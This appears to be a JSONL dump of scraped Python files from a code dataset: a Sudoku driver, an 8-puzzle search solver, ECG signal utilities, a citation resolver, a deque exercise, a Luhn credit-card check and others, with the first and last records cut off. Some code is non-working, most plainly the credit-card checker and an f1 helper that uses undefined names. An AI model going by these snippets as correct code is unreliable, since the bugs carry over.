\"\"\"\n if data is None:\n raise ValueError(\"Invalid value for `data`, must not be `None`\") # noqa: E501\n\n self._data = data\n","sub_path":"xumm/resource/types/storage/storage_set_response.py","file_name":"storage_set_response.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"626883863","text":"from sudoku import Sudoku, Celula\n\ndef main():\n\n sudoku = cria_sudoku()\n\n print( '---------- Antes -------------')\n print(sudoku)\n sudoku.resolve() \n\n print( '---------- Depois -------------')\n print(sudoku)\n \n sudoku.print_status()\n\ndef cria_cel( sudoku, x, y, val):\n cel = Celula(x, y )\n cel.possibilidades = [val]\n sudoku.sudoku[x][y] = cel\n\ndef cria_sudoku():\n texto = '*91*7**7*'\n texto += '2*4******'\n texto += '*5*3*****'\n texto += '1***2***8'\n texto += '**76*32**'\n texto += '9***5***3'\n texto += '*****7*3*'\n texto += '******9*6'\n texto += '*6**1*57*'\n\n s = Sudoku()\n\n for i in range(9):\n for j in range(9):\n cel = Celula(i, j )\n pos = i * 9 + j\n valor = texto[ pos: pos + 1 ]\n\n if valor != '*':\n cel.possibilidades = []\n cel.val = int(valor)\n\n s.sudoku[i][j] = cel\n \n return s\n\nif __name__ == \"__main__\":\n main()","sub_path":"teste.py","file_name":"teste.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"293820383","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.3-fat/egg/iw/cache/metaconfigure.py\n# Compiled at: 2007-12-05 09:41:22\n\"\"\"\n\"\"\"\n__docformat__ = 'restructuredtext'\nfrom zope.app.component.metaconfigure import utility\nfrom iw.cache.interfaces import IIWMemcachedClient\nfrom iw.cache.memcached import IWMemcachedClient\nfrom iw.cache.memcached import NS as memcached_ns\nfrom iw.cache.interfaces import IIWRAMCache\nfrom iw.cache.ramcache import IWRAMCache\nfrom iw.cache.ramcache import NS as ramcache_ns\n\ndef memcachedserver(_context, server=None, name=None, maxage=None):\n if name is None:\n name = NS\n if maxage is None:\n maxage = 3600\n if server is None:\n servers = [\n '127.0.0.1:11211']\n else:\n servers = [\n str(server)]\n component = IWMemcachedClient(servers=servers, defaultNS=name, defaultAge=maxage)\n utility(_context, provides=IIWMemcachedClient, component=component, name=name)\n return\n\n\ndef ramcache(_context, name=None, maxage=None):\n if name is None:\n name = NS\n if maxage is None:\n maxage = 3600\n component = IWRAMCache(ns=name, maxAge=maxage)\n utility(_context, provides=IIWRAMCache, component=component, name=name)\n return","sub_path":"pycfiles/iw.cache-0.1-py2.4/metaconfigure.py","file_name":"metaconfigure.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"249060027","text":"import csv\nimport logging\nimport os.path\nimport re\nfrom typing import Iterator, List, NamedTuple, Set\n\nfrom explanations import directories\nfrom explanations.file_utils import clean_directory\nfrom explanations.types import ArxivId, Author, Bibitem, Path, Reference\nfrom scripts.command import ArxivBatchCommand\n\n\nclass MatchTask(NamedTuple):\n arxiv_id: ArxivId\n bibitems: List[Bibitem]\n references: List[Reference]\n\n\nclass Match(NamedTuple):\n bibitem: Bibitem\n reference: Reference\n\n\n\"\"\"\nThe title and authors must have at least this much overlap with the bibitem's text using\nthe similarity metric below to be considered a match.\n\"\"\"\nSIMILARITY_THRESHOLD = 0.5\n\n\ndef extract_ngrams(s: str, n: int = 3) -> Set[str]:\n \"\"\"\n This and the 'ngram_sim' method below were provided by Kyle Lo.\n \"\"\"\n s = re.sub(r\"\\W\", \"\", s.lower())\n ngrams = zip(*[s[i:] for i in range(n)])\n return {\"\".join(ngram) for ngram in ngrams}\n\n\ndef ngram_sim(s1: str, s2: str) -> float:\n s1_grams = extract_ngrams(s1)\n s2_grams = extract_ngrams(s2)\n if len(s1_grams) == 0 or len(s2_grams) == 0:\n return 0\n return len(s1_grams.intersection(s2_grams)) / min(len(s1_grams), len(s2_grams))\n\n\nclass ResolveBibitems(ArxivBatchCommand[MatchTask, Match]):\n @staticmethod\n def get_name() -> str:\n return \"resolve-bibitems\"\n\n @staticmethod\n def get_description() -> str:\n return \"Find S2 IDs for bibitems.\"\n\n def get_arxiv_ids_dir(self) -> Path:\n return directories.BIBITEMS_DIR\n\n def load(self) -> Iterator[MatchTask]:\n for arxiv_id in self.arxiv_ids:\n clean_directory(directories.bibitem_resolutions(arxiv_id))\n bibitems_dir = directories.bibitems(arxiv_id)\n metadata_dir = directories.s2_metadata(arxiv_id)\n\n references = []\n\n references_path = os.path.join(metadata_dir, \"references.csv\")\n if not os.path.exists(references_path):\n logging.warning(\n \"Could not find %s, skipping reference resolution for paper %s\",\n references_path,\n arxiv_id,\n )\n return\n with open(references_path, encoding=\"utf-8\") as references_file:\n reader = csv.reader(references_file)\n for row in reader:\n references.append(\n Reference(\n s2Id=row[0],\n arxivId=row[1],\n doi=row[2],\n title=row[3],\n authors=[\n Author(id=None, name=name)\n for name in row[4].split(\", \")\n ],\n venue=row[5],\n year=int(row[6]) if row[6].isspace() else None,\n )\n )\n\n bibitems = []\n\n bibitems_path = os.path.join(bibitems_dir, \"bibitems.csv\")\n if not os.path.exists(bibitems_path):\n logging.warning(\n \"Could not find %s, skipping reference resolution for paper %s\",\n bibitems_path,\n arxiv_id,\n )\n return\n with open(bibitems_path, encoding=\"utf-8\") as bibitems_file:\n reader = csv.reader(bibitems_file)\n for row in reader:\n bibitems.append(Bibitem(key=row[0], text=row[1]))\n\n yield MatchTask(arxiv_id, bibitems, references)\n\n def process(self, item: MatchTask) -> Iterator[Match]:\n for bibitem in item.bibitems:\n max_similarity = 0.0\n most_similar_reference = None\n for reference in item.references:\n similarity = ngram_sim(reference.title, bibitem.text)\n logging.debug(\n \"Computed similarity of %f between reference '%s' and bibitem text '%s'\",\n similarity,\n reference.title,\n bibitem.text,\n )\n if similarity > SIMILARITY_THRESHOLD and similarity > max_similarity:\n max_similarity = similarity\n most_similar_reference = reference\n\n if most_similar_reference is not None:\n yield Match(bibitem, most_similar_reference)\n else:\n logging.warning(\n \"Could not find a sufficiently similar reference for bibitem %s of paper %s\",\n bibitem.key,\n item.arxiv_id,\n )\n\n def save(self, item: MatchTask, result: Match) -> None:\n resolutions_dir = directories.bibitem_resolutions(item.arxiv_id)\n if not os.path.exists(resolutions_dir):\n os.makedirs(resolutions_dir)\n\n resolutions_path = os.path.join(resolutions_dir, \"resolutions.csv\")\n with open(resolutions_path, \"a\", encoding=\"utf-8\") as resolutions_file:\n writer = csv.writer(resolutions_file, quoting=csv.QUOTE_ALL)\n writer.writerow(\n [\n result.bibitem.key,\n result.reference.s2Id,\n result.reference.title,\n result.bibitem.text,\n ]\n )\n","sub_path":"data-processing/scripts/resolve_bibitems.py","file_name":"resolve_bibitems.py","file_ext":"py","file_size_in_byte":5381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"537533604","text":"''' \r\nCISC 339 - 201910\r\nLuis Vivar'''\r\n'''\r\nGiven a 3x3 board with 8 tiles (every tile has one number from 1 to 8) and one\r\nempty space. The objective is to place the numbers on tiles to match final configurations\r\nusing they empty space. We can slide four adjacent (left,rigth,above and below) tiles into the space.\r\n'''\r\n\r\nfrom search import *\r\nfrom utils import *\r\nfrom copy import deepcopy\r\n\r\ninitialState = (7, 2, 4, 5, 0, 6, 8, 3, 1)\r\ngoalState = (1, 2, 3, 4, 5, 6, 7, 8, 0)\r\n\r\nclass EightPuzzleProblem(Problem):\r\n ## Constructor\r\n def __init__(self, initial, goal):\r\n self.initial = initial\r\n self.goal = goal\r\n\r\n ## Find 0 in a Tuple\r\n ## We assume 9 element tuple, That 0 exists in the tuple, and that there is only one 0\r\n ## Returns Row Col\r\n def findZero(self, currentState):\r\n col = 0\r\n row = 0\r\n for value in currentState:\r\n if col == 3:\r\n col = 0\r\n row += 1\r\n if value == 0:\r\n return row, col\r\n col += 1\r\n\r\n ## Get the Available actions or 'Available Moves in the puzzle'\r\n ## Return a List of tuples containing the Row and Col position values of spaces that can be swapped with the 0 value\r\n def actions(self, state):\r\n row, col = self.findZero(state)\r\n\r\n all_actions = []\r\n\r\n availableMovesLeft = (row, col-1)\r\n all_actions.append(availableMovesLeft)\r\n availableMovesRight = (row, col+1)\r\n all_actions.append(availableMovesRight)\r\n availableMovesUp = (row-1, col)\r\n all_actions.append(availableMovesUp)\r\n availableMovesDown = (row+1, col)\r\n all_actions.append(availableMovesDown)\r\n\r\n valid_actions = []\r\n\r\n for action in all_actions:\r\n if int(3) not in action and int(-1) not in action:\r\n valid_actions.append(action)\r\n #all_actions.remove(action)\r\n\r\n return valid_actions\r\n\r\n ## returns next state given a state and an action\r\n ## We assume a single action is sent\r\n def result(self, state, action):\r\n row, col = self.findZero(state)\r\n\r\n newState = list(state)\r\n temp = newState[(action[0]*3)+action[1]]\r\n newState[(action[0]*3)+action[1]] = 0\r\n newState[(row*3)+col] = temp\r\n\r\n return tuple(newState)\r\n\r\n # returns a boolean if current state is the goal state\r\n def goal_test(self, state):\r\n return state == self.goal\r\n\r\n # Calculate the cost to the next node based on how many missplaced tiles \r\n # the new state will have\r\n def path_cost(self, c, state1, action, state2):\r\n matches = 0\r\n \r\n for (t1,t2) in zip(state1, self.goal):\r\n if t1 != t2:\r\n matches += 1\r\n\r\n return matches\r\n\r\n # Number of missplaced tiles in the puzzle\r\n def h(self, node):\r\n matches = 0\r\n \r\n for (t1,t2) in zip(node.state, self.goal):\r\n if t1 == t2:\r\n matches += 1\r\n\r\n return 9 - matches \r\n\r\n # Manhattan distance\r\n def h2(self, node): \r\n initial_config = node.state\r\n manDict = 0\r\n for i,item in enumerate(initial_config):\r\n prev_row,prev_col = int(i/ 3) , i % 3\r\n goal_row,goal_col = int(item /3),item % 3\r\n manDict += abs(prev_row-goal_row) + abs(prev_col - goal_col)\r\n return manDict\r\n \r\ndef main():\r\n problem = EightPuzzleProblem(initialState, goalState)\r\n initialNode = problem.initial\r\n print(\"initialNode \" + str(initialNode)) \r\n \r\n finalNode = uniform_cost_search(problem)\r\n print(\"Uniform Cost Search depth:\", finalNode.depth)\r\n for x in finalNode.path():\r\n print(x)\r\n finalNode = greedy_best_first_graph_search(problem, lambda node: problem.h(node))\r\n print(\"\\nGreedy First Search depth:\", finalNode.depth)\r\n for x in finalNode.path():\r\n print(x)\r\n finalNode = astar_search(problem, lambda node: node.path_cost + problem.h2(node))\r\n print(\"\\nA Star Search depth:\", finalNode.depth)\r\n for x in finalNode.path():\r\n print(x)\r\n\r\nmain()\r\n","sub_path":"HM2_8puzzle-3.py","file_name":"HM2_8puzzle-3.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"109844338","text":"#!/usr/bin/env python3\n# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport os\nimport re\nimport stat\nimport unittest\n\nfrom antlir.fs_utils import Path\nfrom antlir.tests.layer_resource import layer_resource_subvol\n\n\nclass TestExtracted(unittest.TestCase):\n # libsystemd-shared-*.so is only found in the binary's RPATH, not in /lib64\n def test_rpath(self):\n subvol = layer_resource_subvol(__package__, \"layer\")\n paths = Path.listdir(subvol.path(\"/usr/lib/systemd\"))\n self.assertTrue(\n any(\n re.match(rb\"libsystemd-shared-\\d+\\.so\", path.basename())\n for path in paths\n )\n )\n\n # the interpreter is under /lib64, but we want to clone it to /usr/lib64\n # when /lib64 is a symlink (which should be always for the cases that we\n # care about)\n def test_cloned_to_usr(self):\n # ensure that the source for the extractor actually has the symlink\n # setup\n source_subvol = layer_resource_subvol(__package__, \"source\")\n self.assertTrue(source_subvol.path(\"/lib64\").islink())\n self.assertEqual(\n source_subvol.path(\"/lib64\").readlink(), Path(\"usr/lib64\")\n )\n\n subvol = layer_resource_subvol(__package__, \"layer\")\n self.assertFalse(subvol.path(\"/lib64\").exists())\n self.assertTrue(subvol.path(\"/usr/lib64/libc.so.6\"))\n\n def test_permissions(self):\n src_subvol = layer_resource_subvol(__package__, \"source\")\n dst_subvol = layer_resource_subvol(__package__, \"layer\")\n for path in (\"/usr/lib\", \"/usr/bin\"):\n with self.subTest(path):\n src = os.stat(src_subvol.path(path))\n dst = os.stat(dst_subvol.path(path))\n self.assertEqual(\n stat.filemode(src.st_mode), stat.filemode(dst.st_mode)\n )\n\n def test_repo_built_binary_runs(self):\n subvol = layer_resource_subvol(__package__, \"layer\")\n subvol.run_as_root(\n [subvol.path(\"/usr/bin/repo-built-binary\")], check=True\n )\n","sub_path":"antlir/bzl/genrule/extractor/tests/test_extracted.py","file_name":"test_extracted.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"548465766","text":"import sys\nfrom collections import deque\n\nclass Mydeque:\n\tdef __init__(self):\n\t\tself.deque = deque()\n\t\treturn\n\n\tdef push_front(self, num):\n\t\tself.deque.appendleft(num)\n\t\treturn\n\n\tdef push_back(self, num):\n\t\tself.deque.append(num)\n\t\treturn\n\n\tdef pop_front(self):\n\t\tif (len(self.deque) == 0):\n\t\t\treturn -1\n\t\treturn (self.deque.popleft())\n\n\tdef pop_back(self):\n\t\tif (len(self.deque) == 0):\n\t\t\treturn -1\n\t\treturn (self.deque.pop())\n\n\tdef size(self):\n\t\treturn (len(self.deque))\n\n\tdef empty(self):\n\t\treturn (int(len(self.deque) == 0))\n\n\tdef front(self):\n\t\tif (len(self.deque) == 0):\n\t\t\treturn -1\n\t\treturn (self.deque[0])\n\t\n\tdef back(self):\n\t\tif (len(self.deque) == 0):\n\t\t\treturn -1\n\t\treturn (self.deque[-1])\n\n\nn = int(input())\ncommands = [sys.stdin.readline().rstrip() for _ in range(n)]\n\ndef\tft_deque(n, commands):\n\tdeque = Mydeque()\n\tfor i in range(n):\n\t\tif (commands[i].startswith('push_front') == 1):\n\t\t\tdeque.push_front(commands[i].split(' ')[1])\n\t\telif (commands[i].startswith('push_back') == 1):\n\t\t\tdeque.push_back(commands[i].split(' ')[1])\n\t\telif (commands[i] == 'pop_front'):\n\t\t\tprint(deque.pop_front())\n\t\telif (commands[i] == 'pop_back'):\n\t\t\tprint(deque.pop_back())\n\t\telif (commands[i] == 'size'):\n\t\t\tprint(deque.size())\n\t\telif (commands[i] == 'empty'):\n\t\t\tprint(deque.empty())\n\t\telif (commands[i] == 'front'):\n\t\t\tprint(deque.front())\n\t\telif (commands[i] == 'back'):\n\t\t\tprint(deque.back())\n\treturn\n\nft_deque(n, commands)","sub_path":"7week_11403_10866/jwoo/jwoo_10866.py","file_name":"jwoo_10866.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"161539740","text":"import os\r\nfrom glob import glob\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.utils.multiclass import unique_labels\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.signal import medfilt\r\nimport time\r\nfrom imblearn.over_sampling import SMOTE, ADASYN\r\nfrom imblearn.combine import SMOTEENN, SMOTETomek\r\nimport collections\r\nfrom sklearn import svm\r\nimport numpy as np\r\nfrom keras import backend as K\r\nimport pywt\r\nfrom sklearn.preprocessing import scale\r\ncpu_threads = 7\r\ndef display_signal(beat):\r\n plt.plot(beat)\r\n plt.ylabel('Signal')\r\n plt.show()\r\n\r\n# Class for RR intervals features\r\nclass RR_intervals:\r\n def __init__(self):\r\n # Instance atributes\r\n self.pre_R = np.array([])\r\n self.post_R = np.array([])\r\n self.local_R = np.array([])\r\n self.global_R = np.array([])\r\n\r\ndef pre_pro(MLII):\r\n baseline = medfilt(MLII, 71)\r\n baseline = medfilt(baseline, 215)\r\n # Remove Baseline\r\n for i in range(0, len(MLII)):\r\n MLII[i] = MLII[i] - baseline[i]\r\n return MLII\r\ndef get_image_files(sig_dir):\r\n fs = glob(\"{}/*.dat\".format(sig_dir))\r\n fs = [os.path.basename(filename) for filename in fs]\r\n return sorted(fs)\r\ndef draw_ecg(x):\r\n plt.plot(x)\r\n plt.show()\r\ndef sig_wt_filt(sig):\r\n \"\"\"\r\n 对信号进行小波变换滤波\r\n :param sig: 输入信号,1-d array\r\n :return: 小波滤波后的信号���1-d array\r\n\r\n \"\"\"\r\n sig = sig.reshape(sig.shape[0])\r\n coeffs = pywt.wavedec(sig, 'db6', level=9)\r\n coeffs[-1] = np.zeros(len(coeffs[-1]))\r\n coeffs[-2] = np.zeros(len(coeffs[-2]))\r\n coeffs[0] = np.zeros(len(coeffs[0]))\r\n sig_filt = pywt.waverec(coeffs, 'db6')\r\n return sig_filt\r\n\r\n\r\ndef multi_prep(sig):\r\n \"\"\"\r\n 信号预处理\r\n :param sig: 原始信号,1-d array\r\n :param target_point_num: 信号目标长度,int\r\n :return: 重采样并z-score标准化后的信号,1-d array\r\n \"\"\"\r\n assert len(sig.shape) == 2, 'Not for 1-D data.Use 2-D data.'\r\n #sig = resample(sig, target_point_num, axis=1)\r\n for i in range(sig.shape[0]):\r\n sig[i] = sig_wt_filt(sig[i])\r\n sig = scale(sig, axis=1)\r\n return sig\r\n\r\ndef plot_confusion_matrix(y_true, y_pred, classes,\r\n normalize=False,\r\n title=None,\r\n cmap=plt.cm.Blues):\r\n \"\"\"\r\n 绘制混淆矩阵图,来源:\r\n https://scikit-learn.org/stable/auto_examples/model_selection/plot_confusion_matrix.html#sphx-glr-auto-examples-model-selection-plot-confusion-matrix-py\r\n \"\"\"\r\n if not title:\r\n if normalize:\r\n title = 'Normalized confusion matrix'\r\n else:\r\n title = 'Confusion matrix'#, without normalization\r\n\r\n cm = confusion_matrix(y_true, y_pred)\r\n classes = classes[unique_labels(y_true, y_pred)]\r\n if normalize:\r\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\r\n print(\"Normalized confusion matrix\")\r\n else:\r\n print('Confusion matrix, without normalization')\r\n\r\n print(cm)\r\n\r\n fig, ax = plt.subplots()\r\n im = ax.imshow(cm, interpolation='nearest', cmap=cmap)\r\n ax.figure.colorbar(im, ax=ax)\r\n ax.set(xticks=np.arange(cm.shape[1]),\r\n yticks=np.arange(cm.shape[0]),\r\n xticklabels=classes, yticklabels=classes,\r\n title=title,\r\n ylabel='True label',\r\n xlabel='Predicted label')\r\n\r\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\",\r\n rotation_mode=\"anchor\")\r\n\r\n fmt = '.2f' if normalize else 'd'\r\n thresh = cm.max() / 2.\r\n for i in range(cm.shape[0]):\r\n for j in range(cm.shape[1]):\r\n ax.text(j, i, format(cm[i, j], fmt),\r\n ha=\"center\", va=\"center\",\r\n color=\"white\" if cm[i, j] > thresh else \"black\")\r\n fig.tight_layout()\r\n return ax\r\n\r\ndef recall(y_true, y_pred):\r\n \"\"\"Recall metric.\r\n Only computes a batch-wise average of recall.\r\n Computes the recall, a metric for multi-label classification of\r\n how many relevant items are selected.\r\n \"\"\"\r\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\r\n possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\r\n recall = true_positives / (possible_positives + K.epsilon())\r\n return recall\r\n\r\ndef precision(y_true, y_pred):\r\n \"\"\"Precision metric.\r\n Only computes a batch-wise average of precision.\r\n Computes the precision, a metric for multi-label classification of\r\n how many selected items are relevant.\r\n \"\"\"\r\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\r\n predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\r\n precision = true_positives / (predicted_positives + K.epsilon())\r\n return precision\r\ndef f1(y_true, y_pred):\r\n def recall(y_true, y_pred):\r\n recall=0\r\n cm = confusion_matrix(y_true, y_pred)\r\n for i in range(5):\r\n Pp = cm[i][i] / np.sum(cm[:, i])\r\n recall=recall+Pp\r\n return recall\r\n def precision(y_true, y_pred):\r\n cm = confusion_matrix(y_true, y_pred)\r\n for i in range(5):\r\n Se = cm[i][i] / np.sum(cm[i])\r\n precision=precision+Se\r\n return precision/5\r\n precision = precision(y_true, y_pred)\r\n recall = recall(y_true, y_pred)\r\n return 2 * ((precision * recall) / (precision + recall + K.epsilon()))\r\n\r\ndef print_results(y_true, y_pred, target_names,filename):\r\n \"\"\"\r\n 打印相关结果\r\n :param y_true: 期望输出,1-d array\r\n :param y_pred: 实际输出,1-d array\r\n :param target_names: 各类别名称\r\n :return: 打印结果\r\n \"\"\"\r\n overall_accuracy = accuracy_score(y_true, y_pred)\r\n print('\\n----- overall_accuracy: {0:f} -----'.format(overall_accuracy))\r\n cm = confusion_matrix(y_true, y_pred)\r\n f = open(filename, \"w\")\r\n f.write(\"Confusion Matrix:\" + \"\\n\\n\")\r\n f.write(str(cm)+ \"\\n\\n\")\r\n f.write('----- overall_accuracy: {0:f} -----\\n'.format(overall_accuracy))\r\n for i in range(len(target_names)):\r\n print(target_names[i] + ':')\r\n Se = cm[i][i]/np.sum(cm[i])\r\n Pp = cm[i][i]/np.sum(cm[:, i])\r\n print(' Se = ' + str(Se))\r\n print(' P+ = ' + str(Pp))\r\n if i==0:\r\n se_mean=Se\r\n Pp_mean= Pp\r\n else:\r\n se_mean = Se+se_mean\r\n Pp_mean = Pp+Pp_mean\r\n f.write(target_names[i] + ':'+ \"\\n\")\r\n f.write(' Se = ' + str(Se) + \"\\n\")\r\n f.write(' P+ = ' + str(Pp) + \"\\n\")\r\n print(' Se_mean = ' + str(se_mean/4))\r\n print(' P+ = ' + str(Pp_mean/4))\r\n print('--------------------------------------')\r\n f.close()\r\ndef ZscoreNormalization(x):\r\n \"\"\"Z-score normaliaztion\"\"\"\r\n x = (x - np.mean(x)) / np.std(x)\r\n return x\r\n# 对描述符数据执行过采样方法\r\ndef perform_oversampling(oversamp_method, tr_features, tr_labels,model_class):\r\n start = time.time()\r\n if True:\r\n print(model_class+\" oversampling method:\\t\" + oversamp_method + \" ...\")\r\n # 1 SMOTE\r\n if oversamp_method == 'SMOTE':\r\n # kind={'borderline1', 'borderline2', 'svm'}\r\n svm_model = svm.SVC(C=0.001, kernel='rbf', degree=3, gamma='auto', decision_function_shape='ovo')\r\n oversamp = SMOTE(ratio='auto', random_state=None, k_neighbors=5, m_neighbors=10, out_step=0.5, kind='svm',\r\n svm_estimator=svm_model, n_jobs=1)\r\n\r\n # PROBAR SMOTE CON OTRO KIND\r\n\r\n elif oversamp_method == 'SMOTE_regular_min':\r\n oversamp = SMOTE(ratio='minority', random_state=None, k_neighbors=5, m_neighbors=10, out_step=0.5,\r\n kind='regular', svm_estimator=None, n_jobs=1)\r\n\r\n elif oversamp_method == 'SMOTE_regular':\r\n oversamp = SMOTE(ratio='auto', random_state=None, k_neighbors=5, m_neighbors=10, out_step=0.5,\r\n kind='regular', svm_estimator=None, n_jobs=1)\r\n\r\n elif oversamp_method == 'SMOTE_border':\r\n oversamp = SMOTE(ratio='auto', random_state=None, k_neighbors=5, m_neighbors=10, out_step=0.5,\r\n kind='borderline1', svm_estimator=None, n_jobs=1)\r\n\r\n # 2 SMOTEENN\r\n elif oversamp_method == 'SMOTEENN':\r\n oversamp = SMOTEENN()\r\n\r\n # 3 SMOTE TOMEK\r\n # NOTE: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.65.3904&rep=rep1&type=pdf\r\n elif oversamp_method == 'SMOTETomek':\r\n oversamp = SMOTETomek()\r\n\r\n # 4 ADASYN\r\n elif oversamp_method == 'ADASYN':\r\n oversamp = ADASYN(ratio='auto', random_state=None, k=None, n_neighbors=5, n_jobs=cpu_threads)\r\n\r\n tr_features_balanced, tr_labels_balanced = oversamp.fit_sample(tr_features, tr_labels)\r\n\r\n end = time.time()\r\n\r\n count = collections.Counter(tr_labels_balanced)\r\n print(\"Oversampling balance\")\r\n print(count)\r\n print(\"Time required: \" + str(format(end - start, '.2f')) + \" sec\")\r\n\r\n return tr_features_balanced, tr_labels_balanced\r\ndef ovo_class_combinations(n_classes):\r\n class_pos = []\r\n class_neg = []\r\n for c1 in range(n_classes-1):\r\n for c2 in range(c1+1,n_classes):\r\n class_pos.append(c1)\r\n class_neg.append(c2)\r\n\r\n return class_pos, class_neg\r\ndef ovo_voting(decision_ovo, n_classes):\r\n predictions = np.zeros(len(decision_ovo))\r\n class_pos, class_neg = ovo_class_combinations(n_classes)\r\n\r\n counter = np.zeros([len(decision_ovo), n_classes])\r\n\r\n for p in range(len(decision_ovo)):\r\n for i in range(len(decision_ovo[p])):\r\n if decision_ovo[p,i] > 0:\r\n counter[p, class_pos[i]] += 1\r\n else:\r\n counter[p, class_neg[i]] += 1\r\n\r\n predictions[p] = np.argmax(counter[p])\r\n\r\n return predictions, counter\r\ndef ovo_voting_exp(decision_ovo, n_classes):\r\n predictions = np.zeros(len(decision_ovo))\r\n class_pos, class_neg = ovo_class_combinations(n_classes)\r\n\r\n counter = np.zeros([len(decision_ovo), n_classes])\r\n\r\n for p in range(len(decision_ovo)):\r\n for i in range(len(decision_ovo[p])):\r\n counter[p, class_pos[i]] += 1 / (1 + np.exp(-decision_ovo[p,i]) )\r\n counter[p, class_neg[i]] += 1 / (1 + np.exp( decision_ovo[p,i]) )\r\n\r\n predictions[p] = np.argmax(counter[p])\r\n\r\n return predictions, counter\r\n\r\ndef basic_rules(probs_ensemble, rule_index):\r\n n_ensembles, n_instances, n_classes = probs_ensemble.shape\r\n predictions_rule = np.zeros(n_instances)\r\n\r\n # Product rule\r\n if rule_index == 0:\r\n probs_rule = np.ones([n_instances, n_classes])\r\n\r\n for p in range(n_instances):\r\n for e in range(n_ensembles):\r\n probs_rule[p] = probs_rule[p] * probs_ensemble[e, p]\r\n predictions_rule[p] = np.argmax(probs_rule[p])\r\n\r\n # Sum rule\r\n elif rule_index == 1:\r\n probs_rule = np.zeros([n_instances, n_classes])\r\n\r\n for p in range(n_instances):\r\n for e in range(n_ensembles):\r\n probs_rule[p] = probs_rule[p] + probs_ensemble[e, p]\r\n predictions_rule[p] = np.argmax(probs_rule[p])\r\n\r\n # Minimum rule\r\n elif rule_index == 2:\r\n probs_rule = np.ones([n_instances, n_classes])\r\n\r\n for p in range(n_instances):\r\n for e in range(n_ensembles):\r\n probs_rule[p] = np.minimum(probs_rule[p], probs_ensemble[e, p])\r\n predictions_rule[p] = np.argmax(probs_rule[p])\r\n\r\n # Maximum rule\r\n elif rule_index == 3:\r\n probs_rule = np.zeros([n_instances, n_classes])\r\n\r\n for p in range(n_instances):\r\n for e in range(n_ensembles):\r\n probs_rule[p] = np.maximum(probs_rule[p], probs_ensemble[e, p])\r\n predictions_rule[p] = np.argmax(probs_rule[p])\r\n\r\n # Majority rule\r\n elif rule_index == 4:\r\n rank_rule = np.zeros([n_instances, n_classes])\r\n # Just simply adds the position of the ranking\r\n for p in range(n_instances):\r\n\r\n for e in range(n_ensembles):\r\n rank = np.argsort(probs_ensemble[e, p])\r\n for j in range(n_classes):\r\n rank_rule[p, rank[j]] = rank_rule[p, rank[j]] + j\r\n predictions_rule[p] = np.argmax(rank_rule[p])\r\n\r\n return predictions_rule","sub_path":"Two level neural network/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"83112888","text":"# Slice off the last digit. That is the check digit.\n# Reverse the digits.\n# Double every other element in the reversed list.\n# Subtract nine from numbers over nine.\n# Sum all values.\n# Take the second digit of that sum.\n# If that matches the check digit, the whole card number is valid.\ncc_num = []\nimport time\ndef cc_break(initial):\n first = initial[:3]\n second = initial[4:7]\n third = initial[8:11]\n last = initial[12:]\n print(\"{}-{}-{}-{}\").format(first, second, third, last)\n return\ndef cc_company(cc_break):\n if cc_break(last).length() == 4:\n print(\"This looks like a mastercard or visa\")\n elif cc_break(last).length() == 3:\n print(\"This looks like an american express\")\ncheck_num = initial[-1]\ndef dbl_math(math_num):\n for i in math_num:\n return (i * 2)\ndef find_nines(dbl_math):\n if i in dbl_math > 9:\n return (i - 9)\n else:\n return i\ndef last_two(find_nines):\n sum[find_nines]\n\ninitial = input(\"Please type your credit card number to be verified:\\n\")\nprint(cc_company, cc_break)\nlist_num = check_num.split()\nmath_num = list_num.reverse()\nprint(cc_company, cc_break)\nprint(\"Verifying\")\ntime.sleep(3)\n\nif str(last_two[-1]) == check_num:\n print(\"This card is real!\")\nelse:\n print(\"This is not a valid card.\")\n","sub_path":"credit card check.py","file_name":"credit card check.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"467289184","text":"from django.contrib import admin\n\nfrom pepysdiary.indepth.models import Article\n\n\nclass ArticleAdmin(admin.ModelAdmin):\n list_display = (\n \"title\",\n \"status\",\n \"date_published\",\n \"comment_count\",\n )\n search_fields = [\n \"title\",\n \"intro\",\n \"text\",\n ]\n readonly_fields = (\n \"date_created\",\n \"date_modified\",\n \"last_comment_time\",\n )\n raw_id_fields = (\"author\",)\n fieldsets = (\n (\n None,\n {\n \"fields\": (\n \"title\",\n \"slug\",\n \"status\",\n \"date_published\",\n \"author\",\n \"allow_comments\",\n )\n },\n ),\n (None, {\"fields\": (\"intro\", \"text\", \"excerpt\",)}),\n (\n None,\n {\n \"fields\": (\n \"date_created\",\n 